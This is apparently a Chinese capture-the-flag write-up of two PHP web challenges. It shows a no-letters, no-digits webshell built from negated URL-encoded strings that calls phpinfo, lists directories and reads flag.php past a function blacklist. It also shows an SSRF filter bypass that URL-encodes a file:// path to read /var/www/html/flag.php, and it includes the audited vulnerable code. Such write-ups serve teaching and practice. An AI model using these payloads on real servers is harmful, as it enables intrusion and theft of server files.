##hate-php
考点:考点:异或取反构造无字母数字webshell
访问题目所给ip直接看到代码如下图,开始审计代码
可以看到正则表达过滤,可以根据提示判断出需要读去flag.php,get_define_functions函数获取所有已经定义的函数,包括内置函数和用户定义函数,可通过$arr["internal"]来访问系统内置函数, 通过$arr["user"]来访问用户自定义函数,这里吧内置函数 加到了 blacklist中 ,我们就需要绕过这个 这里我们因为由过滤的存在,直接考虑无数字和字母的webshell,看到环境为7.2.31的php版本,大于7.1,由此可以得出可以构造出(phpinfo)();这样的写法然后取反绕过
但是直接执行phpinfo (~%8F%97%8F%96%91%99%90)() 发现也可以读取到phpinfo文件,不加分号仍然可以
使用print_r(scandir('.'))来进行列目录
然后我们构造(%8F%8D%96%91%8B%A0%8D)((%8C%9C%9E%91%9B%96%8D)((~%D1))) 来进行列目录;发现确实存在flag.php文件;读取一下;
do you know
考点:ssrf攻击
审计代码:
<?php highlight_file(__FILE__); $poc=$_SERVER[‘QUERY_STRING‘]; if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){ die("no hacker"); } $ids=explode(‘&‘,$poc); $a_key=explode(‘=‘,$ids[0])[0]; $b_key=explode(‘=‘,$ids[1])[0]; $a_value=explode(‘=‘,$ids[0])[1]; $b_value=explode(‘=‘,$ids[1])[1]; if(!$a_key||!$b_key||!$a_value||!$b_value) { die(‘我什么都没有~‘); } if($a_key==$b_key) { die("trick"); } if($a_value!==$b_value) { if(count($_GET)!=1) { die(‘be it so‘); } } foreach($_GET as $key=>$value) { $url=$value; } $ch = curl_init(); if ($type != ‘file‘) { #add_debug_log($param, ‘post_data‘); // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 30); } else { // 设置超时 curl_setopt($ch, CURLOPT_TIMEOUT, 180); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // 设置header if ($type == ‘file‘) { $header[] = "content-type: multipart/form-data; charset=UTF-8"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } elseif ($type == ‘xml‘) { curl_setopt($ch, CURLOPT_HEADER, false); } elseif ($has_json) { $header[] = "content-type: application/json; charset=UTF-8"; curl_setopt($ch, CURLOPT_HTTPHEADER, $header); } // curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_AUTOREFERER, 1); // dump($param); curl_setopt($ch, CURLOPT_POSTFIELDS, $param); // 要求结果为字符串且输出到屏幕上 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 使用证书:cert 与 key 分别属于两个.pem文件 $res = curl_exec($ch); var_dump($res);
$poc变量直接接收了我们的传参然后去匹配,如果没有黑名单就放过,否则ban掉
$ids是将我们从‘&‘分隔开 $a_key 是取我们前面的那个变量的键名; $b_key 是取后面变量的键名; $a_value 是取前面变量的键值; $b_value 是取后面的键值;接着一个if的判断是的我们必须拥有以上的四种变量,也就是说我们的传参必须为/?s1mple=xxxxxxx&simple=xxxx;接着审计代码;
if($a_key==$b_key) { die("trick"); }
一个判断让我们两个键名不可以相同;
if($a_value!==$b_value) { if(count($_GET)!=1) { die(‘be it so‘); } }
这里如果一旦不满足两个值不相等,那么就会进入下一个判断,就会判断我们传参的个数,显然我们之前分析过,传入的参数是两个,所以这里必死无疑,所以唯一的方法就是让我们的两个键值相等;就可以绕过去;
foreach($_GET as $key=>$value) { $url=$value; }
接着遍历我们的键名键值。然后将url赋值为我们传入的键值;然后接着就是启动一个会话进行我们的ssrf攻击了;
这里出题人提示的很明确,无关的代码都标出了它的含义。那些代码都是我们不需要关心的,都是服务器的执行流程;这里显然在会话的开始就提示了我们使用file协议;但是我们源码刚开始的一个匹配过滤了file协议,现在就是怎么绕过的问题;
这里需要明白我们浏览器和服务器处理数据的流程,我们传入的参数会经过浏览器的urlencode然后传给服务器,我们服务器收到之后会先进行urldecode,然后拿去正则判断,如果过去之后,则交由后续的程序处理,这里我们进行urlencode编码绕过即可,对我们的字母同样进行urlencode,即%+十六进制;这里编码后的效果就是;?s1mple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70&simple=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70]-->(http://121.36.64.91/?s1mple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php&simple=file%3a%2f%2f%2fvar%2fwww%2fhtml%2fflag.php)
这里看到我们服务器处理完之后得到的结果就是后面的结果,前面过正则的时候,我们的file协议什么的都是经过urlencode的,可以顺利绕过去,然后交由我们服务器的程序进行解析,看到是urlencode会进行再次的解码,然后处理得到结果,从而去读取我们的/var/www/html/flag.php文件; $flag=‘flag{5bc0bc291d322450679866d5ddf0a346}